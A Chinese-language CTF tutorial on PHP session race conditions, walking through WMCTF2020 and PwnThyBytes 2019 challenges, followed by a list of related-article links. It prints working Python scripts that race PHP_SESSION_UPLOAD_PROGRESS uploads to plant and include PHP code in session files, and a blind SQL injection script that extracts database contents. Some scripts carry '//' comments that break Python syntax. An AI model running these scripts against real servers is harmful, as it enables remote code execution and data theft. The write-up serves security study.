PHP Session条件竞争超详细讲解

PHP SESSION 的存储

Session会话存储方式

PHP将session以文件的形式存储服务器的文件中,session.save_path来控制

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件默认是/var/lib/php/sessions目录下,文件名是sess_加上sessionID字段

但是在赛题中大多数都是/tmp目录下,需要php.ini力sesion.auto_start设置为1,然后修改目录

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

使用 Python 实现创建 Session 文件的过程:

import io
import requests
import threading
sessid = 'whoami'
def POST(session):
    f = io.BytesIO(b'a' * 1024 * 50)
    session.post(
        'http://192.168.43.82/index.php',
        data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},  //用来改变session中的值
        files={"file":('q.txt', f)},
        cookies={'PHPSESSID':sessid} //用来sesssion中的文件名  sess_whoami
    )
with requests.session() as session:
    while True:
        POST(session)
        print("[+] 成功写入sess_whoami")

[WMCTF2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

这道题是文件包含,已经包含过了一次flag.php,就不能二次包含了,一种方法是软连接/proc/self/root绕过

/proc/self指向当前进程的/proc/pid/

/proc/self/root/是指向/的符号链接

这道题也可以 用条件竞争进行,

import io
import sys
import requests
import threading
host = 'http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/'
sessid = 'feng'
def POST(session):
 while True:
  f = io.BytesIO(b'a' * 1024 * 50)
  session.post(
  host,
  data={
 # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"},
  "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值
  files={
  "file":('a.txt', f)},
  cookies={
   'PHPSESSID':sessid}//改名
    )
def READ(session):
 while True:
   response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路径
# print(response.text)
   if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5
      print('[+++]retry')
   else:
      print(response.text)
      sys.exit(0)
with requests.session() as session:
  t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程
  t1.daemon = True  //相当完成任务直接结束,不用等线程全部结束
  t1.start()
  READ(session)

线程结束后,想在网页获得php坏境页面可是找不到,

希望有师傅解答一下,然后这样就非常局限,

[PwnThyBytes 2019]Baby_SQL

访问源码,获得source.zip

打开后发现index.php

<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
    !is_string($value) AND die("Hacking attempt!");
    return addslashes($value);
}
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>

都要经过最后的过滤,然后通过传参p进行包含templates目录下面的文件

login.php

<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>

发现就login.php里面没有过滤,然后

!isset($_SESSION) AND die("Direct access on this script is not allowed!");

意思为如果不存在session就die输出,前面的为true才执行后面的

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

OR前面是false才执行后面的语句。然后这里的意思前面有个大的括号里有一个满足就会执行$con->close(),然后这个执行返回true的话就会执行die(“Not allowed!”);

所以如果我们要直接访问login.php进行sql注入的话,还需要带上一个session才行,这里边用上了我们的PHP_SESSION_UPLOAD_PROGRESS了。我们可以使用PHP_SESSION_UPLOAD_PROGRESS来在目标服务器上初始化一个session,然后便可以绕过index.php中的检测,直接访问login.php进行sql注入了。

import requests
url = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"
//这个templates是因为login.php在这个目录下面
files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
                  proxies={'http': "http://127.0.0.1:8080"})通过这个接口,burp就可以抓包到
print(a.text)

然后对username进行注入,发现是用"进行闭合,然后回显,可以用盲注实现

<meta http-equiv="refresh" content="0; url=?p=home" />

import requests
import time
url = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"
files = {"file": "123456789"}
flag=''
for i in range(1,100):
    low = 32
    high = 128
    mid = (low+high)//2
    while (low < high):
        time.sleep(0.06)
        #payload_flag ={'username': "test\" or (ascii(substr((select
group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'}
        payload_flag = {
            'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'}
        r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"})

        print(payload_flag)
        if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
            low = mid +1
        else:
            high = mid
        mid = (low + high) // 2
    if(mid==32 ):
        break
    flag +=chr(mid)
    print(flag)
print(flag)

到此这篇关于PHP Session条件竞争超详细讲解的文章就介绍到这了,更多相关PHP Session内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • PHP session的反序列化你了解吗

    session反序列化的漏洞是由三种不同的反序列化引擎所产生的的漏洞 其中 session.serialize_handler string--定义用来序列化/反序列化的处理器名字.默认使用php 若使用如下设置: <?php //ini_set('session.serialize_handler', 'php'); //ini_set("session.serialize_handler", "php_serialize"); ini_set("

  • PHP SESSION跨页面传递失败解决方案

    今天想用一个session来实现用户登录判断,也算是对之前session的探究,查了下资料session的运行机制如下: session是服务器端的一种会话机制,当客户端的请求服务器创建一个session时,服务器会先检测该请求里面是否包含一个惟一的 sessionID,如果是,说明服务器已经为该用户创建过session,只要按照该sesionID检索出该用户的session供用户使用,如果没 有sessionID,服务器会为该用户新建一个带有唯一表示服sessionID的session.创建完

  • PHP 修改SESSION的生存时间案例详解

    需求背景: 用户希望他登录之后,浏览器就帮他记住登录状态,这样他就不用每次进入的时候,都需要登录一次. session过期时间: 如果我们没有设置session的生成时间,在配置文件中默认的生存时间是1440秒 也就是说session的生存时间是24分钟,这里可能有些人会有这样的疑问: 为什么我登录之后,24分钟之后,并没有退出呀? 其实在24分钟之后,session是失效的,为什么用户没有退出是由于php的回收机制造成的. 在配置文件php.ini中,你可以找到这两个配置项,上边的注释基本是一

  • PHP Session ID的实现原理与实例

    目录 Session作用 session 的工作机制: PHPSESSIONID的生产算法原理: php.ini配置如下: PHP Session工作原理 PHPcli模式通过session_id()使用session Session实例问题 session安全问题 Session作用 Session的根本作用就是在服务端存储用户和服务器会话的一些信息.典型的应用有: 1.判断用户是否登录. 2.购物车功能. session 的工作机制: 为每个访问者创建一个唯一的 id (UID),并基于这个

  • java设计模式七大原则之开闭原则示例详解

    目录 1.什么是开闭原则? 2.违反Ocp代码案例 3.遵守Ocp代码案例 1.什么是开闭原则? 开闭原则(Open Closed Principle)是编程中最基础.最重要的设计原则.一个软件实体如类,模块和函数应该对扩展开放(对提供方),对修改关闭(对使用方).用抽象构建框架,用实现扩展细节.当软件需要变化时,尽量通过扩展软件实体的行为来实现变化,而不是通过修改已有的代码来实现变化.编程中遵循其它原则,以及使用设计模式的目的就是遵循开闭原则. 2.违反Ocp代码案例 package com.

  • 通过代码实例解析PHP session工作原理

    这里的介绍主要是基于php语言,其他的语言操作可能会有差别,但基本的原理不变. 1.在php中如何操作session: session_start(); //使用该函数打开session功能 $_SESSION //使用预定义全局变量操作数据 使用unset($_SESSION['key']) //销毁一个session的值 简单地操作,一切都是由服务器实现:由于处理在后台,一切看起来也很安全.但是session采用什么样机制,又是怎样被实现,并且如何来保持会话的状态的呢? 2.session实

  • PHP Session条件竞争超详细讲解

    PHP SESSION 的存储 Session会话存储方式 PHP将session以文件的形式存储服务器的文件中,session.save_path来控制 默认路径 /var/lib/php/sess_PHPSESSID/var/lib/php/sessions/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSID session文件默认是/var/lib/php/sessions目录下,文件名是sess_加上sessionI

  • 超详细讲解Linux C++多线程同步的方式

    目录 一.互斥锁 1.互斥锁的初始化 2.互斥锁的相关属性及分类 3,测试加锁函数 二.条件变量 1.条件变量的相关函数 1)初始化的销毁读写锁 2)以写的方式获取锁,以读的方式获取锁,释放读写锁 四.信号量 1)信号量初始化 2)信号量值的加减 3)对信号量进行清理 背景问题:在特定的应用场景下,多线程不进行同步会造成什么问题? 通过多线程模拟多窗口售票为例: #include <iostream> #include<pthread.h> #include<stdio.h&

  • Mysql超详细讲解死锁问题的理解

    目录 1.什么是死锁? 2.Mysql出现死锁的必要条件 资源独占条件 请求和保持条件 不剥夺条件 相互获取锁条件 3. Mysql经典死锁案例 3.1 建表语句 3.2 初始化相关数据 3.3 正常转账过程 3.4 死锁转账过程 3.5 死锁导致的问题 4.如何解决死锁问题? 4.1 打破请求和保持条件 4.2 打破相互获取锁条件(推荐) 5.总结 1.什么是死锁? 死锁指的是在两个或两个以上不同的进程或线程中,由于存在共同资源的竞争或进程(或线程)间的通讯而导致各个线程间相互挂起等待,如果没

  • 超详细讲解Java异常

    目录 一.Java异常架构与异常关键字 Java异常简介 Java异常架构 1.Throwable 2.Error(错误) 3.Exception(异常) 4.受检异常与非受检异常 Java异常关键字 二.Java异常处理 声明异常 抛出异常 捕获异常 如何选择异常类型 常见异常处理方式 1.直接抛出异常 2.封装异常再抛出 3.捕获异常 4.自定义异常 5.try-catch-finally 6.try-with-resource 三.Java异常常见面试题 1.Error 和 Excepti

  • Java 超详细讲解设计模式之中的抽象工厂模式

    目录 抽象工厂模式 1.什么是抽象工厂 2.抽象工厂模式的优缺点 3.抽象工厂模式的结构与实现 4.抽象工厂方法模式代码实现 5.抽象工厂模式的应用场景 6.抽象工厂模式的扩展 抽象工厂模式 前面文章介绍的工厂方法模式中考虑的是一类产品的生产,比如案例中的百事可乐工厂只能生产百事可乐,可口可乐工厂只能生产可口可乐,也就是说:工厂方法模式只考虑生产同等级的产品. 1.什么是抽象工厂 在现实生活中许多工厂是综合型的工厂,能生产多种类)的产品,就拿案例里面的可乐来说,在节日的时候可能会有圣诞版的可乐,

  • MyBatis 超详细讲解动态SQL的实现

    目录 情景: 概述: SQL元素: <if>: <choose>: <where>: <trim>: <set>: <foreach>: <bind>: 情景: 我们在使用JDBC或者其他类似的框架开发进行数据库开发时,通常要根据需求动手组装SQL,不用想都觉得是件很痛苦的事情了,而Mybatis框架提供的对SQL语句动态组装的功能,能很好地解决这个麻烦. 概述: 动态SQL是MyBatis框架的一个强大特性,MyBati

  • 超详细讲解Java秒杀项目用户验证模块的实现

    目录 一.用户验证 1.在方法内添加请求与反应 2.cookie操作的封装 3.UserServiceImpl 4.跳转界面PathController 二.全局session 1.导入依赖 2.配置yml文件redis 3.开启虚拟机 三.自定义redis实现功能 1.新建RedisConfig文件 2.实现全局session 四.使用参数解析器 1.新建WebConfig文件 2.定义参数解析器 3.PathController 4.访问主界面得到相关信息: 接着上期内容超详细讲解Java秒

  • Java 超详细讲解十大排序算法面试无忧

    目录 排序算法的稳定性: 一.选择排序 二.冒泡排序 三.插入排序 四.希尔排序 五.堆排序 六.归并排序 七.快速排序 八.鸽巢排序 九.计数排序 十.基数排序 排序算法的稳定性: 假定在待排序的记录序列中,存在多个具有相同的关键字的记录,如果排序以后,保证这些记录的相对次序保持不变,即在原序列中,a[i]=a[j],且 a[i] 在 a[j] 之前,排序后保证 a[i] 仍在 a[j] 之前,则称这种排序算法是稳定的:否则称为不稳定的. 一.选择排序 每次从待排序的元素中选择最小的元素,依次

  • 四个实例超详细讲解Java 贪心和枚举的特点与使用

    目录 贪心: 枚举: 1.朴素枚举 2.状压枚举    算法题1: 示例 算法题2: 示例 算法题3:  示例1 示例2 算法题4:  示例1 笔试技巧:学会根据数据范围猜知识点          一般1s 时间限制的题目,时间复杂度能跑到 1e8 左右( python 和 java 会少一些,所以建议大家使用c/c++ 做笔试题). n 范围 20 以内: O(n*2^n) 状压搜索 /dfs 暴搜 n 范围 200 以内: O(n^3) 三维 dp n 范围 3000 以内: O(n^2)

  • C语言超详细讲解栈的实现及代码

    目录 前言 栈的概念 栈的结构 栈的实现 创建栈结构 初始化栈 销毁栈 入栈 出栈 获取栈顶元素 获取栈中有效元素个数 检测栈是否为空 总代码 Stack.h 文件 Stack.c 文件 Test.c 文件 前言 栈的概念 栈:一种特殊的线性表,其只允许在固定的一端进行插入和删除元素操作.进行数据插入和删除操作的一端称为栈顶,另一端称为栈底.栈中的数据元素遵守后进先出LIFO(Last In First Out)的原则.有点类似于手枪弹夹,后压进去的子弹总是最先打出,除非枪坏了. 压栈:栈的插入

随机推荐